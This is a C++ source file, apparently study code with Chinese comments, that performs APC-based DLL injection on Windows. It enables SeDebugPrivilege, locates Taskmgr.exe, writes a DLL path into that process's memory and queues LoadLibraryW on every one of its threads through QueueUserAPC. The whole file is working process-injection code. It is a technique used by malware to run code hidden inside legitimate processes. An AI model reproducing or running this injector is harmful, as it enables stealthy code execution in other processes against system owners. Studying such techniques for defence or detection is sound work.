1 // InjectAPC.cpp : 定义控制台应用程序的入口点。 2 // 3 4 #include "stdafx.h" 5 #include <Windows.h> 6 #include <iostream> 7 #include <vector> 8 #include <TlHelp32.h> 9 10 using namespace std; 11 BOOL GrantPrivileges(WCHAR* PrivilegeName); 12 BOOL GetProcessIDByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessID); 13 BOOL GetThreadIDByProcessID(UINT32 ProcessID, vector<UINT32>& ThreadIDVector); 14 BOOL Inject(UINT32 ProcessID, UINT32 ThreadID); 15 16 WCHAR DllFullPath[MAX_PATH] = { 0 }; 17 PVOID DllFullPathBufferData = NULL; 18 19 int main() 20 { 21 if(GrantPrivileges(SE_DEBUG_NAME)==FALSE) 22 { 23 printf("GrantPrivilege Error "); 24 } 25 UINT32 ProcessID = 0; 26 GetCurrentDirectory(MAX_PATH, DllFullPath); 27 wcscat(DllFullPath, L"\Dll.dll"); 28 //getchar(); 29 //printf("%S ", DllFullPath); 30 31 #ifdef _WIN64 32 GetProcessIDByProcessImageName(L"Taskmgr.exe", &ProcessID); 33 // GetProcessIDByProcessImageName(L"explorer.exe", &ProcessID); 34 #else 35 GetProcessIDByProcessImageName(L"Taskmgr.exe", &ProcessID); 36 #endif 37 vector<UINT32> ThreadIDVector; 38 //printf("%d ", ProcessID); 39 GetThreadIDByProcessID(ProcessID, ThreadIDVector); 40 41 UINT32 ThreadID = 0; 42 while (!ThreadIDVector.empty()) 43 { 44 ThreadID = ThreadIDVector.back(); 45 Inject(ProcessID, ThreadID); 46 ThreadIDVector.pop_back(); 47 } 48 /*size_t ThreadCount = ThreadIDVector.size(); 49 for (INT_PTR i = ThreadCount - 1; i >= 0; i--) 50 { 51 UINT32 ThreadID = ThreadIDVector[i]; 52 Inject(ProcessID, ThreadID); 53 }*/ 54 getchar(); 55 return 0; 56 } 57 //提高的是自己的权限,提成自己想要的。 58 59 BOOL GrantPrivileges(WCHAR* PrivilegeName) 60 { 61 HANDLE TokenHandle = NULL; 62 TOKEN_PRIVILEGES PrivilegesToken; 63 LUID v1; 64 //打开权限令牌 65 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle)) 66 { 67 return FALSE; 68 } 69 if (!LookupPrivilegeValue(NULL, PrivilegeName, &v1)) 70 { 71 CloseHandle(TokenHandle); 72 return FALSE; 73 } 74 PrivilegesToken.PrivilegeCount = 1; 75 PrivilegesToken.Privileges[0].Luid = v1; 76 PrivilegesToken.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 77 //调整权限 //特权启用. 特权被用来访问一个对象或服务 78 if (!AdjustTokenPrivileges(TokenHandle, FALSE, &PrivilegesToken, sizeof(PrivilegesToken), NULL, NULL)) 79 { 80 CloseHandle(TokenHandle); 81 TokenHandle = NULL; 82 return false; 83 } 84 //启用特权 85 CloseHandle(TokenHandle); 86 87 return TRUE; 88 } 89 //做好放的笔记里 90 BOOL GetProcessIDByProcessImageName(IN WCHAR * wzProcessImageName, OUT UINT32 * TargetProcessID) 91 { 92 HANDLE ProcessSnapshotHandle = NULL; //1.初始化 93 94 ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 95 //一个班的学生 96 if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE) 97 { 98 return FALSE; 99 } 100 101 PROCESSENTRY32 ProcessEntry32 = { 0 }; //用来存放快照进程信息的一个结构体 102 ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);//初始化PROCESSENTRY结构 103 Process32First(ProcessSnapshotHandle, &ProcessEntry32); //把第一个进程 放在结构体中 104 105 do 106 { 107 if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName)==0) //不区分大小写 108 { //进程的名称 109 *TargetProcessID = ProcessEntry32.th32ProcessID; 110 break; 111 } 112 } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32)); 113 //printf("%d ", *TargetProcessID); 114 CloseHandle(ProcessSnapshotHandle); 115 ProcessSnapshotHandle = NULL; 116 return TRUE; 117 return 0; 118 } 119 //枚举对方的指定进程ID的所有线程,压入vector中,返回线程集合 120 BOOL GetThreadIDByProcessID(UINT32 ProcessID, vector<UINT32>& ThreadIDVector) 121 { 122 HANDLE ThreadSnapshotHandle = NULL; 123 THREADENTRY32 ThreadEntry32 = { 0 }; 124 ThreadEntry32.dwSize = sizeof(THREADENTRY32); 125 ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); 126 if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE) //指定将要快照的进程ID。如果该参数为0表示快照当前进程。该参数只有在设置了TH32CS_SNAPHEAPLIST或者TH32CS_SNAPMODULE后才有效, 127 { //在其他情况下该参数被忽略,所有的进程都会被快照。所以不用修改0为ProcessID。 128 return FALSE; 129 } 130 BOOL bOk = Thread32First(ThreadSnapshotHandle, &ThreadEntry32); 131 if (bOk) 132 { 133 do 134 { 135 if (ThreadEntry32.th32OwnerProcessID == ProcessID) 136 { 137 ThreadIDVector.emplace_back(ThreadEntry32.th32ThreadID); //怀疑可能push.back枚举可以 138 } 139 } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32)); 140 } 141 CloseHandle(ThreadSnapshotHandle); 142 ThreadSnapshotHandle = NULL; 143 return TRUE; 144 } 145 146 BOOL Inject(UINT32 ProcessID, UINT32 ThreadID) 147 { 148 HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID); 149 HANDLE ThreadHandle = INVALID_HANDLE_VALUE; 150 //220 151 SIZE_T ReturnLength = 0; 152 153 154 size_t DllFullPathLength = wcslen(DllFullPath) + 1; 155 156 if (DllFullPathBufferData == NULL) 157 { 158 //在对方进程空间申请内存,存储Dll完整路径。 159 DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 160 if (DllFullPathBufferData == NULL) 161 { 162 CloseHandle(ProcessHandle); 163 CloseHandle(ThreadHandle); 164 return FALSE; 165 } 166 //将DllFullPath写进刚刚申请的内存中 size是双字长度 167 BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DllFullPath, DllFullPathLength*2, 168 &ReturnLength); 169 170 if (bOk == FALSE) 171 { 172 VirtualFreeEx(ProcessHandle,DllFullPathBufferData,(DllFullPathLength * 2), MEM_RELEASE); 173 CloseHandle(ProcessHandle); 174 CloseHandle(ThreadHandle); 175 return FALSE; 176 } 177 } 178 179 UINT_PTR LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"),"LoadLibraryW"); 180 //当前进程中获得导入模块Kernel32基地址 181 //Kernel32模块中的导出表中获得函数LoadLibraryW 182 183 /* 184 为什么这里用导出表中的地址LoadLibraryW不用导入表中的函数地址? 185 LoadLibraryW 当前进程导入表中的地址 比如 LoadLibraryW = 0x1234 0x1234 -->0x7564 相当于 0x1234[0x7564] 186 187 188 1.防止中一种病毒叫Hook IAT(ImportAddressTable) Hook 189 中这种病毒,修改了Kernel 地址 0x7564,这样寻不到址 190 2.确保地址OK 191 192 */ 193 if (LoadLibraryAddress == NULL) 194 { 195 VirtualFreeEx(ProcessHandle, DllFullPathBufferData, (DllFullPathLength * 2), MEM_RELEASE); 196 CloseHandle(ProcessHandle); 197 return FALSE; 198 } 199 _try 200 { 201 ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadID); 202 QueueUserAPC((PAPCFUNC)LoadLibraryAddress,ThreadHandle,(UINT_PTR)DllFullPathBufferData); 203 //LoadLibraryAddress(DllFullPathBufferData) 204 } 205 _except(EXCEPTION_CONTINUE_EXECUTION) 206 { 207 208 } 209 CloseHandle(ProcessHandle); 210 CloseHandle(ThreadHandle); 211 return 0; 212 }